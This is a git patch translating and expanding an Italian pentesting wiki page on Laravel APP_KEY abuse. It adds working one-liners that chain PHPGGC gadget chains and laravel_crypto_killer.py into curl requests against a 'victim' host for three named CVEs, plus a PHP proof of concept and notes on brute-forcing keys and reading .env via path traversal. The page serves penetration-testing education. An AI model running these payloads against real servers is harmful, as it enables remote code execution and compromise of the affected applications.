From 3e27afe06be6f79b3ee01cda88eb944d85310865 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 22:29:41 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/laravel.md'] --- .../pentesting-web/laravel.md | 138 +++++------------- 1 file changed, 35 insertions(+), 103 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 5b1809d36..529117ce9 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -20,7 +20,7 @@ Il testo cifrato grezzo che viene infine **inviato al client** è **Base64 di un "tag" : "" // only used for AEAD ciphers (GCM) } ``` -`encrypt($value, $serialize=true)` eseguirà `serialize()` il testo in chiaro per impostazione predefinita, mentre `decrypt($payload, $unserialize=true)` **eseguirà automaticamente `unserialize()`** il valore decrittografato. Pertanto **qualsiasi attaccante che conosce il segreto di 32 byte `APP_KEY` può creare un oggetto PHP serializzato crittografato e ottenere RCE tramite metodi magici (`__wakeup`, `__destruct`, …)**. +`encrypt($value, $serialize=true)` eseguirà `serialize()` il testo in chiaro per impostazione predefinita, mentre `decrypt($payload, $unserialize=true)` **eseguirà automaticamente `unserialize()`** il valore decrittografato. Pertanto **qualsiasi attaccante che conosce la chiave segreta di 32 byte `APP_KEY` può creare un oggetto PHP serializzato crittografato e ottenere RCE tramite metodi magici (`__wakeup`, `__destruct`, …)**. Minimal PoC (framework ≥9.x): ```php @@ -54,38 +54,48 @@ Lo script supporta in modo trasparente sia i payload CBC che GCM e rigenera il c | Progetto | Sink vulnerabile | Catena di gadget | |---------|-----------------|--------------| | Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT ≤v6 (CVE-2024-48987) | Cookie `XSRF-TOKEN` quando `Passport::withCookieSerialization()` è abilitato | Laravel/RCE9 | -| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → Cookie `laravel_session` | Laravel/RCE15 | +| Snipe-IT ≤v6 (CVE-2024-48987) | cookie `XSRF-TOKEN` quando `Passport::withCookieSerialization()` è abilitato | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → cookie `laravel_session` | Laravel/RCE15 | Il flusso di sfruttamento è sempre: -1. Ottenere `APP_KEY` (esempi predefiniti, leak di Git, leak di config/.env, o brute-force) -2. Generare gadget con **PHPGGC** -3. `laravel_crypto_killer.py encrypt …` -4. Consegnare il payload attraverso il parametro/cookie vulnerabile → **RCE** +1. Ottenere o forzare il `APP_KEY` di 32 byte. +2. Costruire una catena di gadget con **PHPGGC** (ad esempio `Laravel/RCE13`, `Laravel/RCE9` o `Laravel/RCE15`). +3. Cifrare il gadget serializzato con **laravel_crypto_killer.py** e il `APP_KEY` recuperato. +4. Consegnare il ciphertext al sink vulnerabile `decrypt()` (parametro di route, cookie, sessione …) per attivare **RCE**. +Di seguito ci sono frasi concise che dimostrano il percorso completo dell'attacco per ciascun CVE reale menzionato sopra: +```bash +# Invoice Ninja ≤5 – /route/{hash} +php8.2 phpggc Laravel/RCE13 system id -b -f | \ +./laravel_crypto_killer.py encrypt -k -v - | \ +xargs -I% curl "https://victim/route/%" + +# Snipe-IT ≤6 – XSRF-TOKEN cookie +php7.4 phpggc Laravel/RCE9 system id -b | \ +./laravel_crypto_killer.py encrypt -k -v - > xsrf.txt +curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login + +# Crater – cookie-based session +php8.2 phpggc Laravel/RCE15 system id -b > payload.bin +./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt +curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login +``` --- -## Scoperta di APP_KEY di massa tramite brute-force dei cookie +## Scoperta di APP_KEY massiva tramite brute-force dei cookie -Poiché ogni risposta fresca di Laravel imposta almeno 1 cookie crittografato (`XSRF-TOKEN` e di solito `laravel_session`), **scanner pubblici di internet (Shodan, Censys, …) rilasciano milioni di ciphertext** che possono essere attaccati offline. +Poiché ogni risposta fresca di Laravel imposta almeno 1 cookie crittografato (`XSRF-TOKEN` e di solito `laravel_session`), **scanner pubblici di internet (Shodan, Censys, …) rilasciano milioni di testi cifrati** che possono essere attaccati offline. Risultati chiave della ricerca pubblicata da Synacktiv (2024-2025): * Dataset luglio 2024 » 580 k token, **3.99 % chiavi decifrate** (≈23 k) * Dataset maggio 2025 » 625 k token, **3.56 % chiavi decifrate** * >1 000 server ancora vulnerabili a CVE-2018-15133 legacy perché i token contengono direttamente dati serializzati. -* Grande riutilizzo delle chiavi – le Top-10 APP_KEY sono valori predefiniti hard-coded forniti con template commerciali di Laravel (UltimatePOS, Invoice Ninja, XPanel, …). +* Grande riutilizzo delle chiavi – le prime 10 APP_KEY sono valori predefiniti hard-coded forniti con modelli commerciali di Laravel (UltimatePOS, Invoice Ninja, XPanel, …). -Lo strumento Go privato **nounours** spinge il throughput di brute-force AES-CBC/GCM a ~1.5 miliardi di tentativi/s, riducendo la decifratura dell'intero dataset a <2 minuti. +Il tool privato Go **nounours** spinge il throughput di brute-force AES-CBC/GCM a ~1.5 miliardi di tentativi/s, riducendo la decifratura dell'intero dataset a <2 minuti. ---- -## Riferimenti -* [Laravel: analisi della perdita di APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) -* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) -* [PHPGGC – Catene di gadget generiche PHP](https://github.com/ambionics/phpggc) -* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) - -## Laravel Tricks +## Trucchi di Laravel ### Modalità di debug @@ -94,15 +104,15 @@ Ad esempio `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -Questo è solitamente necessario per sfruttare altri CVE RCE di Laravel. +Questo è solitamente necessario per sfruttare altre CVE RCE di Laravel. ### .env -Laravel salva l'APP che utilizza per crittografare i cookie e altre credenziali all'interno di un file chiamato `.env` che può essere accessibile utilizzando alcune traversate di percorso sotto: `/../.env` +Laravel salva l'APP che utilizza per crittografare i cookie e altre credenziali all'interno di un file chiamato `.env` che può essere accessibile utilizzando un po' di path traversal sotto: `/../.env` Laravel mostrerà anche queste informazioni all'interno della pagina di debug (che appare quando Laravel trova un errore ed è attivata). -Utilizzando la chiave segreta APP_KEY di Laravel puoi decifrare e ri-cifrare i cookie: +Utilizzando la chiave segreta APP_KEY di Laravel puoi decrittografare e ri-crittografare i cookie: ### Decrypt Cookie ```python @@ -176,91 +186,13 @@ Oppure puoi anche sfruttarla con metasploit: `use unix/http/laravel_token_unseri Un'altra deserializzazione: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) -### Laravel SQLInjection -Leggi informazioni su questo qui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) - -### Laravel SQLInjection - -Leggi informazioni su questo qui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) - ---- - -## APP_KEY & Interni di crittografia (Laravel \u003e=5.6) - -Laravel utilizza AES-256-CBC (o GCM) con integrità HMAC sotto il cofano (`Illuminate\\Encryption\\Encrypter`). -Il testo cifrato grezzo che viene infine **inviato al client** è **Base64 di un oggetto JSON** come: -```json -{ -"iv" : "Base64(random 16-byte IV)", -"value": "Base64(ciphertext)", -"mac" : "HMAC_SHA256(iv||value, APP_KEY)", -"tag" : "" // only used for AEAD ciphers (GCM) -} -``` -`encrypt($value, $serialize=true)` per default `serialize()` il testo in chiaro, mentre `decrypt($payload, $unserialize=true)` **eseguirà automaticamente `unserialize()`** il valore decrittografato. Pertanto **qualsiasi attaccante che conosce il segreto di 32 byte `APP_KEY` può creare un oggetto PHP serializzato crittografato e ottenere RCE tramite metodi magici (`__wakeup`, `__destruct`, …)**. - -Minimal PoC (framework ≥9.x): -```php -use Illuminate\Support\Facades\Crypt; - -$chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f -$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste -``` -Injecta la stringa prodotta in qualsiasi sink `decrypt()` vulnerabile (parametro di route, cookie, sessione, …). - ---- - -## laravel-crypto-killer 🧨 -[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatizza l'intero processo e aggiunge una comoda modalità **bruteforce**: -```bash -# Encrypt a phpggc chain with a known APP_KEY -laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" - -# Decrypt a captured cookie / token -laravel_crypto_killer.py decrypt -k -v - -# Try a word-list of keys against a token (offline) -laravel_crypto_killer.py bruteforce -v -kf appkeys.txt -``` -Lo script supporta in modo trasparente sia i payload CBC che GCM e rigenera il campo HMAC/tag. - ---- - -## Modelli vulnerabili nel mondo reale - -| Progetto | Sink vulnerabile | Catena di gadget | -|---------|-----------------|--------------| -| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | -| Snipe-IT ≤v6 (CVE-2024-48987) | cookie `XSRF-TOKEN` quando `Passport::withCookieSerialization()` è abilitato | Laravel/RCE9 | -| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → cookie `laravel_session` | Laravel/RCE15 | - -Il flusso di sfruttamento è sempre: -1. Ottenere `APP_KEY` (esempi predefiniti, leak di Git, leak di config/.env o brute-force) -2. Generare gadget con **PHPGGC** -3. `laravel_crypto_killer.py encrypt …` -4. Consegnare il payload attraverso il parametro/cookie vulnerabile → **RCE** - ---- - -## Scoperta di APP_KEY di massa tramite brute-force dei cookie - -Poiché ogni risposta Laravel fresca imposta almeno 1 cookie crittografato (`XSRF-TOKEN` e di solito `laravel_session`), **scanner pubblici di internet (Shodan, Censys, …) rilasciano milioni di ciphertext** che possono essere attaccati offline. - -Risultati chiave della ricerca pubblicata da Synacktiv (2024-2025): -* Dataset luglio 2024 » 580 k token, **3.99 % chiavi decifrate** (≈23 k) -* Dataset maggio 2025 » 625 k token, **3.56 % chiavi decifrate** -* >1 000 server ancora vulnerabili a CVE-2018-15133 legacy perché i token contengono direttamente dati serializzati. -* Grande riutilizzo delle chiavi – le Top-10 APP_KEY sono valori predefiniti hard-coded forniti con template commerciali di Laravel (UltimatePOS, Invoice Ninja, XPanel, …). - -Lo strumento Go privato **nounours** spinge il throughput di brute-force AES-CBC/GCM a ~1.5 miliardi di tentativi/s, riducendo il cracking dell'intero dataset a <2 minuti. - ---- ## Riferimenti -* [Laravel: analisi della perdita di APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +* [Laravel: analisi della fuga di APP_KEY (IT)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) -* [PHPGGC – Catene di gadget generiche PHP](https://github.com/ambionics/phpggc) +* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) * [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) {{#include ../../banners/hacktricks-training.md}}